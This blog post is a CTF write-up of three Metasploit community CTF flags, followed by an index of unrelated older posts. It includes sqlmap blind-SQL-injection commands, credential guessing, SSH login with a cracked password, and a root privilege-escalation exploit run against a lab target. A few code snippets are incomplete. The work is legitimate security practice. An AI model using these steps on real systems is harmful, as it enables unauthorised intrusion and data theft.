This past weekend I worked on the Metasploit community CTF with the CTF_Circle team. As a group we finished 9th overall! The rest of this post includes a write up of three flags the team captured (out of the seven total). Capturing all three of these flags was a collaborative team effort, which is one of the highlights for me of working with CTF_Circle.


This CTF (capture the flag) provided teams with two EC2 instances: a Kali Linux jump box and a target box. The target box ran several services that hid PNG images of playing cards that were the flags. Exploiting vulnerabilites, or in some cases sniffing traffic, enabled us to find the flags. Once we found a flag, we submitted the md5 checksum to get points.

Queen of Hearts

Using nmap, we found that port 8000 on the target box was running a WordPress site about Giraffes:

$ nmap -A target
8000/tcp  open   http         Apache httpd 2.4.38 ((Debian))
|_http-generator: WordPress 5.3.2
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Lovely Giraffes – Everything about giraffes…
|_http-trane-info: Problem with XML parsing of /evox/about

The WordPress site has WP_SITEURL set to, which meant that all the subresources (e.g. scripts, style sheets, images) did not load and that links were broken. Adding a rewrite rule in Burp Suite to rewrite these urls back to http://target:8000 fixed the links.

Visiting the site showed a Giraffe gallery site. Poking around there was a single post with a comment that referenced the password.

$ curl target:8000/?page_id=2 | grep comments
... target:8000/?feed=comments-rss2 ...
$ curl target:8000/?feed=comments-rss2 | grep password # refers to melman
> Hey! I forgot to say, your account “melman” is still valid with the the same password, your last name.

Googling melman leads to the Madagascar movie character: Melman Mankiewicz III. So the WordPress username and password are: melman/mankiewicz. These can be used at http://target:8000/wp-admin to sign in. The melman user did not have permission to upload plugins. The Nextgen Gallery was installed, version 3.2.10, and it has a blind SQL injection vulnerability!

$ curl target:8000/ | grep wp-content/plugins
<link rel='stylesheet' id='nextgen_widgets_style-css'  href='' type='text/css' media='all' />

Exploiting the SQLi vulnerability required creating a new post, attaching a nextgen gallery, and then sorting the images in the gallery, which triggered a POST request to the backend that has the SQLi vulnerability.

POST /index.php?photocrati_ajax=1 HTTP/1.1
Cookie: wordpress_test_cookie=WP+Cookie+check;...


The displayed_gallery%5Border_by%5D=img post parameter is exploitable as a blind SQL injection. Using sqlmap we can use the blind injection to find data in the database. We set displayed_gallery%5Border_by%5D=%INJECT HERE% in the request body given to sqlmap and otherwise copy+pasted the raw request from burp. This is the command we ran to enumerate databases (we know wordpress uses mysql) and tables in the database server.

$ sqlmap -r req.txt --dbms=mysql --level=5 --risk=3 --dump --threads=10 --hex --technique=BEUQ --tamper=between,randomcase,space2comment --dbs --tables

That showed there was a database called flag_card (in addition to the wordpress database) with a table called card. Using sqlmap we can dump that table, which showed that there was a value in the image column that was >90k long and it started calculating the value.

sqlmap -r req.txt --dbms=mysql --level=5 --risk=3 --dump --threads=10 --hex --technique=BEUQ --tamper=between,randomcase,space2comment -D flag_card -T card

Using the blind SQLi it was calculating ~1 character/second, so this was going to take 25+ hours. That's when echo had a brilliant suggestion to md5 the content in the database, then brute force the md5 sum since that is only 32 characters. We patched sqlmap to always wrap the image column in a MD5() call (please tweet me if there is a better way to do this with sqlmap!):

diff --git a/lib/core/ b/lib/core/
index aad9db4b0..189262695 100644
--- a/lib/core/
+++ b/lib/core/
@@ -595,6 +595,9 @@ class Agent(object):
        Note: used primarily in dumping of custom tables

+        if field == 'image':
+            return 'MD5(image)'
        retVal = field
        if conf.db and table and conf.db in table:
            table = table.split(conf.db)[-1].strip('.')

Rerunning the sqlmap command with this patch, it finished very quickly and displayed the card name and md5, which we submitted!

Database: flag_card
Table: card
[1 entry]
| id | name            | image                            |
| 1  | Queen of Hearts | 111b62aef6e0a5ea78fe7485fc9b3333 |

7 of Diamonds

Capturing this flag started with capturing the 2 of Diamonds flag, which was a repeat from the 2018 Metasploit community CTF. We downloaded the /etc/passwd file from the target 4.3BSD/VAX system and then ran John the Ripper over it to get passwords. These passwords enabled us to SSH into port 22 on the target box:

$ nmap -A target
22/tcp    open   ssh          OpenSSH 8.1 (protocol 2.0)
| ssh-hostkey:
|   3072 44:88:8c:e3:81:67:0e:5c:84:2e:54:b8:8f:17:b4:48 (RSA)
|   256 08:7a:50:9d:67:c9:25:20:89:07:85:98:c0:34:9c:9f (ECDSA)
|_  256 ad:df:2c:68:bc:12:49:75:c6:d4:05:5c:f5:d2:6b:be (ED25519)

That was an OpenBSD 6.6 system. The ken user was in the wheel group and Ken's password is Ken Thompson's Unix password. Signing in as Ken, we were able to exploit a privilege escalation to gain root access to the system (signing in as any user would have worked), and after some searching found a bare git repo at /root/hai. There is also a RCE in OpenSMTPd in this version of OpenBSD that would have enabled root access.

$ ssh ken@target # password: p/q2-q4!
$ cd exp
$ ./exp /usr/bin/chpass
# cd /root
# file hai
hai: Git bundle

We copied that bare git repo back to the jump box and then were able to generate the 7 of Diamonds by concatenating the /whats-this file from: the master branch, then the nothing-to-see-here branch, and finally from a base64 encoded blob in a commit message in the nothing-to-see-here branch. Opening just the /whats-this this file from master only showed about half of the card, so this was a fun challenge to get the other pieces!

$ git clone hai hai-clone
$ cd hai-clone
$ cat whats-this > 7-of-diamonds.png
$ git branch -r
  origin/HEAD -> origin/master
$ git checkout nothing-to-see-here
$ cat whats-this >> 7-of-diamonds.png
$ git log # then scroll through the log messages to find a base64 text wall
$ git log --format=%B -n 1 7cadeef01e867da960cae432000796879b77f59a | base64 -d >> 7-of-diamonds.png
$ md5sum 7-of-diamonds.png
ca7c8f05fc082f0b2127dd0a40c80f21  7-of-diamonds.png

Ace of Spades

Another file we found while searching the OpenBSD system was /etc/flag, which was hexdump -C output of a PNG file:

$ head -1 /etc/flag
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|

We copied that to kali as etcflag and then used this python code to remove everything except the hex.

with open('etcflag') as fp:
    with open('etcflag.just_hex', 'w') as fp2:
        for l in fp.readlines():

Then we reversed the hex with xxd to get the original image and the flag!

$ xxd -p -r etcflag.just_hex ace-of-spades.png
$ md5sum ace-of-spades.png
eb8166c746b9f66297174e9073ce0fea  ace-of-spades.png

Better Puppet Module Development through Testing - CasitConf 2013

Sat 06 April 2013 by tvd

I spoke about testing puppet modules at this year's Cascadia IT Conference in Seattle. The conference was great; I met a lot of great people and received a lot of feedback on my presentation.

Download the slides

read more

Quickly validate puppet manifests in a git repo.

Mon 17 September 2012 by tvd

I have been bitten on more than one occasion with a forgotten curly brace or missing comma in a puppet manifest. So, I wrote a little git post-commit script that will validate all manifests in a repo. I have tested it on a repo with ~60 modules and ~400 manifests …

read more

My first puppet forge contribution: redis

Tue 15 May 2012 by tvd

Today I contributed my very first puppet module back to the community! thomasvandoren/redis is a puppet module to install, configure, and manage redis. It is by no means finished, but it is working. I didn't see any other redis modules in puppet forge, so I thought I would share …

read more

Fixing Master Boot Record on Windows 7

Sat 15 October 2011 by tvd

I recently removed the linux partition from my desktop. I had a linux partition, but it made sense to just use one windows partition and run linux in a vm.

Removing the partition is not a big deal. I just used the Windows Disk Management tool to remove the linux …

read more

Monitoring RabbitMQ Queues with Zabbix

Sun 09 October 2011 by tvd

Recently I setup some monitoring on a RabbitMQ server using Zabbix. This process is by no means difficult, but I thought it was worth sharing.

I was looking for a solution that did not require additional plugins or packages, but would perform well. Some useful tools for monitoring include: the …

read more

Jenkins Windows Slave with Git

Tue 27 September 2011 by tvd

There are some articles out there about setting up Jenkins slaves on Windows. This is one more, with a bunch of information about configuring Git. The documentation for setting up Git to work well with Jenkins is surprisingly sparse and the process is extremely frustrating (in my experience). Hopefully this …

read more

Five python tips

Thu 22 September 2011 by tvd

I have been using python at work for the last year, and had fooled around with it for five years prior to that. I am by no means an encyclopedia of python knowledge, but here are a few pointers that were not obvious to me when I was getting started …

read more